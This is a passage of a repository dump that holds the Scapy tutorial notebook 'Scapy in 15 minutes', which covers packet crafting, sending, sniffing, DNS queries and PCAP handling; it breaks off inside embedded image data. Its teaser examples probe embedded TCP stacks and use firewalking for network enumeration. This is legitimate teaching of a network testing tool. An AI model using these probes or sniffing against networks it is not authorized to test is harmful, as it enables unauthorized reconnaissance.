src=\\\"/xjs/_/js/k=xjs.hp.en_US.WN3XpSz-BG8.O/m=sb_he,d/rt=j/d=1/t=zcms/rs=ACT90oGvdHa7TL2W_IQX1s5BPxYIHeUvhQ\\\"></script><script type=\\\"text/javascript\\\">google.ac&&google.ac.c({\\\"agen\\\":true,\\\"cgen\\\":true,\\\"client\\\":\\\"heirloom-serp\\\",\\\"dh\\\":true,\\\"dhqt\\\":true,\\\"ds\\\":\\\"\\\",\\\"fl\\\":true,\\\"host\\\":\\\"google.fr\\\",\\\"isbh\\\":28,\\\"jam\\\":0,\\\"jsonp\\\":true,\\\"lm\\\":true,\\\"msgs\\\":{\\\"cibl\\\":\\\"Effacer la recherche\\\",\\\"dym\\\":\\\"Essayez avec cette orthographe :\\\",\\\"lcky\\\":\\\"J\\\\u0026#39;ai de la chance\\\",\\\"lml\\\":\\\"En savoir plus\\\",\\\"oskt\\\":\\\"Outils de saisie\\\",\\\"psrc\\\":\\\"Cette suggestion a bien t supprime de votre \\\\u003Ca href=\\\\\\\"/history\\\\\\\"\\\\u003Ehistorique Web\\\\u003C/a\\\\u003E.\\\",\\\"psrl\\\":\\\"Supprimer\\\",\\\"sbit\\\":\\\"Recherche par image\\\",\\\"srch\\\":\\\"Recherche Google\\\"},\\\"nds\\\":true,\\\"ovr\\\":{},\\\"pq\\\":\\\"scapy\\\",\\\"refpd\\\":true,\\\"rfs\\\":[\\\"scapy windows\\\",\\\"scapy tutorial\\\",\\\"scapy sniff\\\",\\\"scapy documentation\\\",\\\"scapy github\\\",\\\"scapy python 3\\\",\\\"scapy pcap\\\",\\\"scapy pdf\\\"],\\\"scd\\\":10,\\\"sce\\\":5,\\\"stok\\\":\\\"v9hn9ENPV2Cq1VDAu6ud56TzkyQ\\\"})</script><script>(function(){window.google.cdo={height:0,width:0};(function(){var a=window.innerWidth,b=window.innerHeight;if(!a||!b)var c=window.document,d=\\\"CSS1Compat\\\"==c.compatMode?c.documentElement:c.body,a=d.clientWidth,b=d.clientHeight;a&&b&&(a!=google.cdo.width||b!=google.cdo.height)&&google.log(\\\"\\\",\\\"\\\",\\\"/client_204?&atyp=i&biw=\\\"+a+\\\"&bih=\\\"+b+\\\"&ei=\\\"+google.kEI);}).call(this);})();</script></body></html>\"\n       ],\n       \"metadata\": {},\n       \"output_type\": \"pyout\",\n       \"prompt_number\": 141,\n       \"text\": [\n        \"<IPython.core.display.HTML at 0x7f26f59e9e10>\"\n       ]\n      }\n     ],\n     \"prompt_number\": 141\n    }\n   ],\n   \"metadata\": {}\n  }\n ]\n}"
  },
  {
    "path": "doc/notebooks/Scapy in 15 minutes.ipynb",
    "content": "{\n \"cells\": [\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"# Scapy in 15 minutes (or longer)\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"##### Guillaume Valadon & Pierre Lalet\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"[Scapy](http://www.secdev.org/projects/scapy) is a powerful Python-based interactive packet manipulation program and library. It can be used to forge or decode packets for a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more.\\n\",\n    \"\\n\",\n    \"This iPython notebook provides a short tour of the main Scapy features. It assumes that you are familiar with networking terminology. All examples were built using the development version from [https://github.com/secdev/scapy](https://github.com/secdev/scapy), and tested on Linux. They should work as well on OS X, and other BSD.\\n\",\n    \"\\n\",\n    \"The current documentation is available on [http://scapy.readthedocs.io/](http://scapy.readthedocs.io/) !\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"Scapy eases network packets manipulation, and allows you to forge complicated packets to perform advanced tests. As a teaser, let's have a look a two examples that are difficult to express without Scapy:\\n\",\n    \"\\n\",\n    \"1_ Sending a TCP segment with maximum segment size set to 0 to a specific port is an interesting test to perform against embedded TCP stacks. It can be achieved with the following one-liner:\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 30,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": [\n      \"\\n\",\n      \"Sent 1 packets.\\n\"\n     ]\n    }\n   ],\n   \"source\": [\n    \"send(IP(dst=\\\"1.2.3.4\\\")/TCP(dport=502, options=[(\\\"MSS\\\", 0)]))\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"2_ Advanced firewalking using IP options is sometimes useful to perform network enumeration. Here is a more complicated one-liner:\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 31,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": [\n      \"  -                            IPOption_RR                  IPOption_Traceroute          \\n\",\n      \"1 192.168.42.1 time-exceeded 192.168.46.1 time-exceeded 192.168.46.1 time-exceeded \\n\",\n      \"2 172.42.0.1 time-exceeded     172.42.0.1 time-exceeded     172.42.0.1 time-exceeded     \\n\",\n      \"3 42.10.69.251 time-exceeded  42.10.69.251 time-exceeded  42.10.69.251 time-exceeded  \\n\",\n      \"4 10.123.156.86 time-exceeded  10.123.156.86 time-exceeded  -                            \\n\",\n      \"5 69.156.98.177 time-exceeded 69.156.98.177 time-exceeded -                            \\n\",\n      \"6 69.156.137.74 time-exceeded 69.156.137.74 time-exceeded -                            \\n\",\n      \"7 209.85.172.150 time-exceeded -                            -                            \\n\",\n      \"8 216.239.57.203 time-exceeded -                            -                            \\n\"\n     ]\n    }\n   ],\n   \"source\": [\n    \"ans = sr([IP(dst=\\\"8.8.8.8\\\", ttl=(1, 8), options=IPOption_RR())/ICMP(seq=RandShort()), IP(dst=\\\"8.8.8.8\\\", ttl=(1, 8), options=IPOption_Traceroute())/ICMP(seq=RandShort()), IP(dst=\\\"8.8.8.8\\\", ttl=(1, 8))/ICMP(seq=RandShort())], verbose=False, timeout=3)[0]\\n\",\n    \"ans.make_table(lambda x, y: (\\\", \\\".join(z.summary() for z in x[IP].options) or '-', x[IP].ttl, y.sprintf(\\\"%IP.src% %ICMP.type%\\\")))\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"#### Now that we've got your attention, let's start the tutorial !\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Quick setup\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"The easiest way to try Scapy is to clone the github repository, then launch the `run_scapy` script as root. The following examples can be pasted at the Scapy prompt. There is no need to install any external Python modules.\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"```shell\\n\",\n    \"git clone https://github.com/secdev/scapy --depth=1\\n\",\n    \"sudo ./run_scapy\\n\",\n    \"Welcome to Scapy (2.4.0)\\n\",\n    \">>>\\n\",\n    \"```\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"Note: iPython users must import scapy as follows\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 13,\n   \"metadata\": {},\n   \"outputs\": [],\n   \"source\": [\n    \"from scapy.all import *\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## First steps\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"With Scapy, each network layer is a Python class.\\n\",\n    \"\\n\",\n    \"The `'/'` operator is used to bind layers together. Let's put a TCP segment on top of IP and assign it to the `packet` variable, then stack it on top of Ethernet. \"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 2,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"<Ether  type=IPv4 |<IP  frag=0 proto=tcp |<TCP  |>>>\"\n      ]\n     },\n     \"execution_count\": 2,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"packet = IP()/TCP()\\n\",\n    \"Ether()/packet\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"This last output displays the packet summary. Here, Scapy automatically filled the Ethernet type as well as the IP protocol field.\\n\",\n    \"\\n\",\n    \"Protocol fields can be listed using the `ls()` function:\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {},\n   \"outputs\": [],\n   \"source\": [\n    \"    >>> ls(IP, verbose=True)\\n\",\n    \"    version    : BitField (4 bits)                   = (4)\\n\",\n    \"    ihl        : BitField (4 bits)                   = (None)\\n\",\n    \"    tos        : XByteField                          = (0)\\n\",\n    \"    len        : ShortField                          = (None)\\n\",\n    \"    id         : ShortField                          = (1)\\n\",\n    \"    flags      : FlagsField (3 bits)                 = (0)\\n\",\n    \"                   MF, DF, evil\\n\",\n    \"    frag       : BitField (13 bits)                  = (0)\\n\",\n    \"    ttl        : ByteField                           = (64)\\n\",\n    \"    proto      : ByteEnumField                       = (0)\\n\",\n    \"    chksum     : XShortField                         = (None)\\n\",\n    \"    src        : SourceIPField (Emph)                = (None)\\n\",\n    \"    dst        : DestIPField (Emph)                  = (None)\\n\",\n    \"    options    : PacketListField                     = ([])\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"Let's create a new packet to a specific IP destination. With Scapy, each protocol field can be specified. As shown in the `ls()` output, the interesting field is `dst`.\\n\",\n    \"\\n\",\n    \"Scapy packets are objects with some useful methods, such as `summary()`.\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 3,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"\\\"Ether / IP / TCP 172.20.10.2:ftp_data > Net('www.secdev.org'):http S\\\"\"\n      ]\n     },\n     \"execution_count\": 3,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"p = Ether()/IP(dst=\\\"www.secdev.org\\\")/TCP()\\n\",\n    \"p.summary()\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"There are not many differences with the previous example. However, Scapy used the specific destination to perform some magic tricks !\\n\",\n    \"\\n\",\n    \"Using internal mechanisms (such as DNS resolution, routing table and ARP resolution), Scapy has automatically set fields necessary to send the packet. These fields can of course be accessed and displayed.\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 10,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": [\n      \"3a:71:de:90:0b:64\\n\",\n      \"172.20.10.2\\n\",\n      \"b8:e8:56:45:8c:e6 > 3a:71:de:90:0b:64\\n\",\n      \"172.20.10.2 > Net('www.secdev.org')\\n\"\n     ]\n    }\n   ],\n   \"source\": [\n    \"print(p.dst)  # first layer that has an src field, here Ether\\n\",\n    \"print(p[IP].src)  # explicitly access the src field of the IP layer\\n\",\n    \"\\n\",\n    \"# sprintf() is a useful method to display fields\\n\",\n    \"print(p.sprintf(\\\"%Ether.src% > %Ether.dst%\\\\n%IP.src% > %IP.dst%\\\"))\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"Scapy uses default values that work most of the time. For example, `TCP()` is a SYN segment to port 80.\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 9,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": [\n      \"S http\\n\"\n     ]\n    }\n   ],\n   \"source\": [\n    \"print(p.sprintf(\\\"%TCP.flags% %TCP.dport%\\\"))\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"Moreover, Scapy has implicit packets. For example, they are useful to make the TTL field value vary from 1 to 5 to mimic traceroute.\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 11,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"[<IP  frag=0 ttl=1 proto=icmp |<ICMP  |>>,\\n\",\n       \" <IP  frag=0 ttl=2 proto=icmp |<ICMP  |>>,\\n\",\n       \" <IP  frag=0 ttl=3 proto=icmp |<ICMP  |>>,\\n\",\n       \" <IP  frag=0 ttl=4 proto=icmp |<ICMP  |>>,\\n\",\n       \" <IP  frag=0 ttl=5 proto=icmp |<ICMP  |>>]\"\n      ]\n     },\n     \"execution_count\": 11,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"[p for p in IP(ttl=(1,5))/ICMP()]\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Sending and receiving\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"Currently, you know how to build packets with Scapy. The next step is to send them over the network !\\n\",\n    \"\\n\",\n    \"The `sr1()` function sends a packet and returns the corresponding answer. `srp1()` does the same for layer two packets, i.e. Ethernet. If you are only interested in sending packets `send()` is your friend.\\n\",\n    \"\\n\",\n    \"As an example, we can use the DNS protocol to get www.example.com IPv4 address.\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 23,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": [\n      \"\\n\",\n      \"Received 19 packets, got 1 answers, remaining 0 packets\\n\",\n      \"Begin emission:\\n\",\n      \"Finished to send 1 packets.\\n\"\n     ]\n    },\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"<DNSRR  rrname='www.example.com.' type=A rclass=IN ttl=10011 rdata='93.184.216.34' |>\"\n      ]\n     },\n     \"execution_count\": 23,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"p = sr1(IP(dst=\\\"8.8.8.8\\\")/UDP()/DNS(qd=DNSQR()))\\n\",\n    \"p[DNS].an\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"Another alternative is the `sr()` function. Like `srp1()`, the `sr1()` function can be used for layer 2 packets.\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 47,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": [\n      \"\\n\",\n      \"Received 7 packets, got 6 answers, remaining 0 packets\\n\",\n      \"Begin emission:\\n\",\n      \"Finished to send 6 packets.\\n\"\n     ]\n    },\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"(<Results: TCP:0 UDP:0 ICMP:6 Other:0>,\\n\",\n       \" <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>)\"\n      ]\n     },\n     \"execution_count\": 47,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"r, u = srp(Ether()/IP(dst=\\\"8.8.8.8\\\", ttl=(5,10))/UDP()/DNS(rd=1, qd=DNSQR(qname=\\\"www.example.com\\\")))\\n\",\n    \"r, u\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"`sr()` sent a list of packets, and returns two variables, here `r` and `u`, where:\\n\",\n    \"1. `r` is a list of results (i.e tuples of the packet sent and its answer)\\n\",\n    \"2. `u` is a list of unanswered packets\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 48,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": [\n      \"Ether / IP / UDP / DNS Qry \\\"www.example.com\\\" \\n\",\n      \"Ether / IP / ICMP / IPerror / UDPerror / DNS Qry \\\"www.example.com.\\\" \\n\"\n     ]\n    },\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"<ICMP  type=time-exceeded code=ttl-zero-during-transit chksum=0x50d6 reserved=0 length=0 unused=None |<IPerror  version=4L ihl=5L tos=0x0 len=61 id=1 flags= frag=0L ttl=1 proto=udp chksum=0xf389 src=172.20.10.2 dst=8.8.8.8 options=[] |<UDPerror  sport=domain dport=domain len=41 chksum=0x593a |<DNS  id=0 qr=0L opcode=QUERY aa=0L tc=0L rd=1L ra=0L z=0L ad=0L cd=0L rcode=ok qdcount=1 ancount=0 nscount=0 arcount=0 qd=<DNSQR  qname='www.example.com.' qtype=A qclass=IN |> an=None ns=None ar=None |>>>>\"\n      ]\n     },\n     \"execution_count\": 48,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"# Access the first tuple\\n\",\n    \"print(r[0][0].summary())  # the packet sent\\n\",\n    \"print(r[0][1].summary())  # the answer received\\n\",\n    \"\\n\",\n    \"# Access the ICMP layer. Scapy received a time-exceeded error message\\n\",\n    \"r[0][1][ICMP]\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"With Scapy, list of packets, such as `r` or `u`, can be easily written to, or read from PCAP files.\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 50,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"<Ether  dst=f4:ce:46:a9:e0:4b src=34:95:db:04:3c:29 type=IPv4 |<IP version=4L ihl=5L tos=0x0 len=61 id=1 flags= frag=0L ttl=5 proto=udp chksum=0xb6e3 src=192.168.46.20 dst=8.8.8.8 options=[] |<UDP sport=domain dport=domain len=41 chksum=0xb609 |<DNS  id=0 qr=0L opcode=QUERY aa=0L tc=0L rd=1L ra=0L z=0L ad=0L cd=0L rcode=ok qdcount=1 ancount=0 nscount=0 arcount=0 qd=<DNSQR  qname='www.example.com.' qtype=A qclass=IN |> an=None ns=None ar=None |>>>>\"\n      ]\n     },\n     \"execution_count\": 50,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"wrpcap(\\\"scapy.pcap\\\", r)\\n\",\n    \"\\n\",\n    \"pcap_p = rdpcap(\\\"scapy.pcap\\\")\\n\",\n    \"pcap_p[0]\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"Sniffing the network is as straightforward as sending and receiving packets. The `sniff()` function returns a list of Scapy packets, that can be manipulated as previously described.\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 52,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"<Sniffed: TCP:0 UDP:2 ICMP:0 Other:0>\"\n      ]\n     },\n     \"execution_count\": 52,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"s = sniff(count=2)\\n\",\n    \"s\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"`sniff()` has many arguments. The `prn` one accepts a function name that will be called on received packets. Using the `lambda` keyword, Scapy could be used to mimic the `tshark` command behavior.\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 53,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": [\n      \"Ether / IP / TCP 172.20.10.2:52664 > 216.58.208.200:https A\\n\",\n      \"Ether / IP / TCP 216.58.208.200:https > 172.20.10.2:52664 A\\n\"\n     ]\n    },\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"<Sniffed: TCP:2 UDP:0 ICMP:0 Other:0>\"\n      ]\n     },\n     \"execution_count\": 53,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"sniff(count=2, prn=lambda p: p.summary())\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"Alternatively, Scapy can use OS sockets to send and receive packets. The following example assigns an UDP socket to a Scapy `StreamSocket`, which is then used to query www.example.com IPv4 address.\\n\",\n    \"Unlike other Scapy sockets, `StreamSockets` do not require root privileges.\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 79,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": [\n      \"\\n\",\n      \"Received 1 packets, got 1 answers, remaining 0 packets\\n\",\n      \"Begin emission:\\n\",\n      \"Finished to send 1 packets.\\n\"\n     ]\n    },\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"<DNS  id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L ad=0L cd=0L rcode=ok qdcount=1 ancount=1 nscount=0 arcount=0 qd=<DNSQR  qname='www.example.com.' qtype=A qclass=IN |> an=<DNSRR  rrname='www.example.com.' type=A rclass=IN ttl=19681 rdata='93.184.216.34' |> ns=None ar=None |>\"\n      ]\n     },\n     \"execution_count\": 79,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"import socket\\n\",\n    \"\\n\",\n    \"sck = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  # create an UDP socket\\n\",\n    \"sck.connect((\\\"8.8.8.8\\\", 53))  # connect to 8.8.8.8 on 53/UDP\\n\",\n    \"\\n\",\n    \"# Create the StreamSocket and gives the class used to decode the answer\\n\",\n    \"ssck = StreamSocket(sck)\\n\",\n    \"ssck.basecls = DNS\\n\",\n    \"\\n\",\n    \"# Send the DNS query\\n\",\n    \"ssck.sr1(DNS(rd=1, qd=DNSQR(qname=\\\"www.example.com\\\")))\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Visualization\\n\",\n    \"Parts of the following examples require the [matplotlib](http://matplotlib.org/) module.\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"With `srloop()`, we can send 100 ICMP packets to 8.8.8.8 and 8.8.4.4.\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 25,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": []\n    }\n   ],\n   \"source\": [\n    \"ans, unans = srloop(IP(dst=[\\\"8.8.8.8\\\", \\\"8.8.4.4\\\"])/ICMP(), inter=.1, timeout=.1, count=100, verbose=False)\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"Then we can use the results to plot the IP id values.\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 26,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"image/png\": \"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